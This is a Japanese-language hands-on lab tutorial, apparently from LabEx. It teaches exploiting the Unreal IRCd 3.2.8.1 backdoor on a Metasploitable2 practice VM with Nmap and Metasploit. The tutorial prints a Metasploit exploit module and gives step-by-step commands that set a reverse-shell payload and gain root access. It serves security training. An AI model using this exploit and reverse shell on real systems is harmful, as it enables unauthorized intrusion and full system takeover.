NmapとMetasploitを使用したUnreal IRCdの脆弱性攻撃

サイバーセキュリティBeginner
オンラインで実践に進む

はじめに

この実験では、LabExプラットフォーム上でホストされているMetasploitable2ターゲットマシンに対し、Unreal IRCdサービスを標的とした攻撃手法を学びます。まず、Unreal IRCdサービスに存在する脆弱性について理解を深め、Nmapを使用して脆弱性スキャンを実行します。脆弱なサービスを特定した後、Metasploitフレームワークを活用して攻撃を行い、ターゲットマシンへのリモートシェルアクセスを確立します。最後に、侵害したシステム上でコマンドを実行し、攻撃が成功したことを検証します。

Unreal IRCdの脆弱性の理解と実験環境の起動

Unreal IRCd 3.2.8.1バージョンには、リモートの攻撃者が影響を受けるシステム上で任意のコードを実行できるバックドアの脆弱性(CVE-2010-2075)が含まれています。この脆弱性は DEBUG3_DOLOG_SYSTEM マクロに存在し、攻撃者が悪意のある外部コードを注入するために利用される可能性があります。

関連情報:

この脆弱性を攻撃するためのMetasploitモジュール:

Metasploitモジュールの概要は以下の通りです:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

それでは、実験のために攻撃マシン(Kali Linuxコンテナ)とターゲットマシン(Metasploitable2仮想マシン)を起動します。

  1. LabExホストマシンのxfceターミナルを開き、以下のコマンドを実行してMetasploitable2ターゲットを起動します:
sudo virsh start Metasploitable2

ターゲットマシンの起動には1〜3分ほどかかる場合があります。

  1. pingコマンドを使用して、ターゲットマシンへの接続を確認します:
ping 192.168.122.102

Ctrl+C を押してpingを停止します。

  1. Kali Linuxコンテナを起動し、以下のコマンドでbash環境に入ります:
docker run -ti --network host b5b709a49cd5 bash
  1. Kaliコンテナ内で、ターゲットマシンへのネットワーク接続をテストします:
ping 192.168.122.102

Ctrl+C を押してpingを停止します。

これで攻撃マシンとターゲットマシンの両方が起動しました。ペネトレーションテストを開始できます。

注意: 誤って現在のbashを終了してしまった場合、Kaliコンテナは自動的に停止します。その際は、ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行して新しいKaliコンテナを起動し、実験を継続してください。

脆弱性スキャンの実行

このステップでは、ターゲットマシンに対して脆弱性スキャンを実行し、開いているポートとそれらのポートで実行されているサービスを特定します。この目的のために、強力なツールであるNmap(Network Mapper)を使用します。

  1. Kali Linuxコンテナ内でMetasploitコンソールを起動します:
cd ~
msfconsole
  1. Metasploitコンソール内で、nmap コマンドを使用してターゲットマシンをスキャンします:
nmap -sV -T4 192.168.122.102

-sV オプションは開いているポートのバージョン検出を有効にし、-T4 はタイミングポリシーをアグレッシブなレベル(1〜5、数値が大きいほど高速)に設定します。

出力結果に、unreal ircd サービスが実行されているポート 6667 が開いていることが表示されるはずです。

Ctrl+D を押してMetasploitコンソールを終了し、検証を開始してください

Unreal IRCdの脆弱性攻撃

ポート6667で実行されている脆弱なUnreal IRCdサービスを特定できたので、Metasploitフレームワークを使用して攻撃を実行します。

  1. Metasploitコンソールに入っていない場合は、まずコンソールを起動します:
cd ~
msfconsole
  1. Metasploitコンソール内で、unreal_ircd_3281_backdoor モジュールを検索します:
search unreal_ircd_3281_backdoor
  1. モジュールを読み込みます:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. ターゲットホストを設定します:
set RHOST 192.168.122.102
  1. モジュールにリバースシェルペイロードを設定します:
set PAYLOAD cmd/unix/reverse
  1. リバースシェルを受け取るKaliホストのIPアドレスを設定します:
set LHOST 192.168.122.1
  1. 攻撃(エクスプロイト)を実行します:
exploit

攻撃が成功すると、ターゲットマシンへのリモートシェルが取得できます。Metasploitがコマンドシェルセッションが開いたことを表示したら、シェル内で検証コマンドを続行できます。

Ctrl+D を押してMetasploitコンソールを終了し、検証を開始してください

攻撃の検証

攻撃が成功したことを検証するために、前のステップで取得したリモートシェル上でコマンドを実行します。

  1. Metasploitコンソールに入っていない場合は、まずコンソールを起動します:
cd ~
msfconsole
  1. whoami コマンドで現在のユーザーを確認します:
whoami
  1. hostname コマンドでホスト名を確認します:
hostname
  1. ifconfig コマンドでIPアドレスを確認します:
ifconfig

出力結果で現在のユーザーが root、ホスト名が metasploitable であり、IPアドレスがターゲットマシン(192.168.122.102)と一致していれば、攻撃は成功しており、ターゲットシステムを完全に制御下に置いたことが確認できます。

Ctrl+D を押してMetasploitコンソールを終了し、検証を開始してください

まとめ

この実験では、Unreal IRCdの脆弱性について学び、Metasploitフレームワークを使用してそれを攻撃する方法を習得しました。まず脆弱性とそれが与える影響を理解し、次に脆弱性スキャンを実行して対象サービスを特定しました。ポート6667で実行されているUnreal IRCdサービスを発見した後、適切なMetasploitモジュールを使用して脆弱性を突き、ターゲットマシンへのリモートアクセスを確立しました。最後に、侵害したシステム上でコマンドを実行し、攻撃の成功を検証しました。この実験を通じて、脆弱性分析、攻撃手法、および攻撃後の検証という、エシカルハッカーやサイバーセキュリティ専門家にとって不可欠な実践的スキルを身につけることができました。